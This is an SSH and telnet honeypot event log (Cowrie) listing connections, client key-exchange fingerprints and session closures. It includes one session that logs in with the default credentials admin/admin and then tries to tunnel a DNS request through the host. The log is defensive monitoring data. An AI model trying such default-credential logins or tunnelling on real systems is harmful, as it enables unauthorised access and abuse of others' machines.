{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:13.312729Z","src_ip":"202.165.22.58","session":"b006e521e279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0009560585022,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:13.536850Z","src_ip":"173.33.197.75","session":"53d92b6e3c0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:13.634398Z","src_ip":"202.165.22.58","session":"b006e521e279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":38152,"dst_ip":"159.203.135.109","dst_port":23,"session":"75f0f84c048c","protocol":"telnet","message":"New connection: 173.33.197.75:38152 (159.203.135.109:23) [session: 75f0f84c048c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:16.324975Z"}
{"eventid":"cowrie.session.closed","duration":31.64058756828308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:18.356354Z","src_ip":"142.93.2.99","session":"2fc6a6dbde4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59010,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c207f04f96d","protocol":"telnet","message":"New connection: 142.93.2.99:59010 (159.203.135.109:23) [session: 3c207f04f96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:19.829225Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59018,"dst_ip":"159.203.135.109","dst_port":23,"session":"8103dd01e264","protocol":"telnet","message":"New connection: 142.93.2.99:59018 (159.203.135.109:23) [session: 8103dd01e264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:19.840135Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36964,"dst_ip":"159.203.135.109","dst_port":23,"session":"baac8ce8f855","protocol":"telnet","message":"New connection: 142.93.2.99:36964 (159.203.135.109:23) [session: baac8ce8f855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:26.954224Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42014,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff444e9b8450","protocol":"telnet","message":"New connection: 142.93.2.99:42014 (159.203.135.109:23) [session: ff444e9b8450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:32.909837Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44202,"dst_ip":"159.203.135.109","dst_port":23,"session":"619728fe2c26","protocol":"telnet","message":"New connection: 142.93.2.99:44202 (159.203.135.109:23) [session: 619728fe2c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:35.510742Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45138,"dst_ip":"159.203.135.109","dst_port":23,"session":"37f1423919a3","protocol":"telnet","message":"New connection: 142.93.2.99:45138 (159.203.135.109:23) [session: 37f1423919a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:36.608038Z"}
{"eventid":"cowrie.session.closed","duration":35.242610692977905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:36.668945Z","src_ip":"142.93.2.99","session":"ba1a5f60b807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45482,"dst_ip":"159.203.135.109","dst_port":23,"session":"8edd2fd90304","protocol":"telnet","message":"New connection: 142.93.2.99:45482 (159.203.135.109:23) [session: 8edd2fd90304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:36.967890Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45980,"dst_ip":"159.203.135.109","dst_port":23,"session":"26c8d970d49e","protocol":"telnet","message":"New connection: 142.93.2.99:45980 (159.203.135.109:23) [session: 26c8d970d49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:37.544541Z"}
{"eventid":"cowrie.session.closed","duration":33.858553409576416,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:43.083522Z","src_ip":"142.93.2.99","session":"c726bef14834","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51856,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5a746eb5a47","protocol":"telnet","message":"New connection: 142.93.2.99:51856 (159.203.135.109:23) [session: d5a746eb5a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:45.094125Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53892,"dst_ip":"159.203.135.109","dst_port":23,"session":"4faddb1369f3","protocol":"telnet","message":"New connection: 142.93.2.99:53892 (159.203.135.109:23) [session: 4faddb1369f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:46.332351Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8582d2aade80","protocol":"telnet","message":"New connection: 142.93.2.99:53956 (159.203.135.109:23) [session: 8582d2aade80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:46.383016Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54396,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b4c657e644d","protocol":"telnet","message":"New connection: 142.93.2.99:54396 (159.203.135.109:23) [session: 4b4c657e644d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:46.848308Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56224,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a0b31328fa3","protocol":"telnet","message":"New connection: 142.93.2.99:56224 (159.203.135.109:23) [session: 1a0b31328fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:48.960974Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55296,"dst_ip":"159.203.135.109","dst_port":23,"session":"3515e225dd12","protocol":"telnet","message":"New connection: 142.93.2.99:55296 (159.203.135.109:23) [session: 3515e225dd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:50.925770Z"}
{"eventid":"cowrie.session.closed","duration":32.606127977371216,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:52.435223Z","src_ip":"142.93.2.99","session":"3c207f04f96d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.71506953239441,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:52.555085Z","src_ip":"142.93.2.99","session":"8103dd01e264","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59960,"dst_ip":"159.203.135.109","dst_port":23,"session":"eacd4ee0a26f","protocol":"telnet","message":"New connection: 142.93.2.99:59960 (159.203.135.109:23) [session: eacd4ee0a26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:53.010006Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35666,"dst_ip":"159.203.135.109","dst_port":23,"session":"47df67448d02","protocol":"telnet","message":"New connection: 142.93.2.99:35666 (159.203.135.109:23) [session: 47df67448d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:54:57.333214Z"}
{"eventid":"cowrie.session.closed","duration":33.396888732910156,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:00.351050Z","src_ip":"142.93.2.99","session":"baac8ce8f855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38490,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2f3af623c72","protocol":"telnet","message":"New connection: 142.93.2.99:38490 (159.203.135.109:23) [session: d2f3af623c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:00.541610Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38842,"dst_ip":"159.203.135.109","dst_port":23,"session":"91dd2799e62b","protocol":"telnet","message":"New connection: 142.93.2.99:38842 (159.203.135.109:23) [session: 91dd2799e62b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:00.973452Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39070,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac1261bcaf7","protocol":"telnet","message":"New connection: 142.93.2.99:39070 (159.203.135.109:23) [session: 7ac1261bcaf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:01.231975Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38794,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f080087be6a","protocol":"telnet","message":"New connection: 142.93.2.99:38794 (159.203.135.109:23) [session: 4f080087be6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:01.915137Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52892,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f56eb31ea43","protocol":"ssh","message":"New connection: 87.251.64.176:52892 (10.17.0.5:22) [session: 3f56eb31ea43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:03.975188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:03.979987Z","src_ip":"87.251.64.176","session":"3f56eb31ea43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:04.077070Z","src_ip":"87.251.64.176","session":"3f56eb31ea43","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:04.367888Z","src_ip":"87.251.64.176","session":"3f56eb31ea43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:04.468293Z","session":"3f56eb31ea43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:04.566336Z","src_ip":"87.251.64.176","session":"3f56eb31ea43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:04.666091Z","src_ip":"87.251.64.176","session":"3f56eb31ea43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.52344107627869,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:06.433201Z","src_ip":"142.93.2.99","session":"ff444e9b8450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.588897466659546,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:08.099515Z","src_ip":"142.93.2.99","session":"619728fe2c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.392881631851196,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:09.360658Z","src_ip":"142.93.2.99","session":"8edd2fd90304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02795743942261,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:09.635897Z","src_ip":"142.93.2.99","session":"37f1423919a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08544206619263,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:10.629907Z","src_ip":"142.93.2.99","session":"26c8d970d49e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45466,"dst_ip":"159.203.135.109","dst_port":23,"session":"7303d09248e8","protocol":"telnet","message":"New connection: 142.93.2.99:45466 (159.203.135.109:23) [session: 7303d09248e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:12.129811Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54754,"dst_ip":"10.17.0.5","dst_port":23,"session":"47f503fd4db3","protocol":"telnet","message":"New connection: 104.245.105.2:54754 (10.17.0.5:23) [session: 47f503fd4db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:14.413521Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50990,"dst_ip":"159.203.135.109","dst_port":23,"session":"43c05e27b2cd","protocol":"telnet","message":"New connection: 142.93.2.99:50990 (159.203.135.109:23) [session: 43c05e27b2cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:14.898507Z"}
{"eventid":"cowrie.session.closed","duration":30.97218132019043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:16.066207Z","src_ip":"142.93.2.99","session":"d5a746eb5a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53442,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf3042edf573","protocol":"telnet","message":"New connection: 142.93.2.99:53442 (159.203.135.109:23) [session: cf3042edf573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:17.489498Z"}
{"eventid":"cowrie.session.closed","duration":31.741655111312866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:18.073908Z","src_ip":"142.93.2.99","session":"4faddb1369f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.43019413948059,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:19.812963Z","src_ip":"142.93.2.99","session":"8582d2aade80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57049798965454,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:20.418642Z","src_ip":"142.93.2.99","session":"4b4c657e644d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57370638847351,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:22.534587Z","src_ip":"142.93.2.99","session":"1a0b31328fa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58414,"dst_ip":"159.203.135.109","dst_port":23,"session":"a00a835eb81c","protocol":"telnet","message":"New connection: 142.93.2.99:58414 (159.203.135.109:23) [session: a00a835eb81c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:22.887649Z"}
{"eventid":"cowrie.session.closed","duration":32.13691282272339,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:23.062557Z","src_ip":"142.93.2.99","session":"3515e225dd12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59160,"dst_ip":"159.203.135.109","dst_port":23,"session":"95d97b98152a","protocol":"telnet","message":"New connection: 142.93.2.99:59160 (159.203.135.109:23) [session: 95d97b98152a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:24.685973Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58378,"dst_ip":"159.203.135.109","dst_port":23,"session":"13199deded8b","protocol":"telnet","message":"New connection: 142.93.2.99:58378 (159.203.135.109:23) [session: 13199deded8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:25.841928Z"}
{"eventid":"cowrie.session.closed","duration":33.507341146469116,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:26.517178Z","src_ip":"142.93.2.99","session":"eacd4ee0a26f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35038,"dst_ip":"159.203.135.109","dst_port":23,"session":"8992eb71dfd8","protocol":"telnet","message":"New connection: 142.93.2.99:35038 (159.203.135.109:23) [session: 8992eb71dfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:28.167797Z"}
{"eventid":"cowrie.session.closed","duration":34.30919814109802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:31.642312Z","src_ip":"142.93.2.99","session":"47df67448d02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40368,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f4d97352815","protocol":"telnet","message":"New connection: 142.93.2.99:40368 (159.203.135.109:23) [session: 2f4d97352815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:34.063463Z"}
{"eventid":"cowrie.session.closed","duration":33.08979916572571,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:34.321652Z","src_ip":"142.93.2.99","session":"7ac1261bcaf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.93354082107544,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:34.475022Z","src_ip":"142.93.2.99","session":"d2f3af623c72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.4572856426239,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:35.372308Z","src_ip":"142.93.2.99","session":"4f080087be6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90885519981384,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:35.882216Z","src_ip":"142.93.2.99","session":"91dd2799e62b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.502126693725586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:43.631811Z","src_ip":"142.93.2.99","session":"7303d09248e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46728,"dst_ip":"159.203.135.109","dst_port":23,"session":"e389f11ac37a","protocol":"telnet","message":"New connection: 142.93.2.99:46728 (159.203.135.109:23) [session: e389f11ac37a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:44.389856Z"}
{"eventid":"cowrie.session.closed","duration":33.232582569122314,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:47.645960Z","src_ip":"104.245.105.2","session":"47f503fd4db3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.1578631401062,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:49.056262Z","src_ip":"142.93.2.99","session":"43c05e27b2cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60114,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b2bc3928037","protocol":"telnet","message":"New connection: 104.245.105.2:60114 (10.17.0.5:23) [session: 4b2bc3928037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:49.312942Z"}
{"eventid":"cowrie.session.closed","duration":33.420268058776855,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:50.909644Z","src_ip":"142.93.2.99","session":"cf3042edf573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.324580907821655,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:55:56.212105Z","src_ip":"142.93.2.99","session":"a00a835eb81c","protocol":"telnet"}
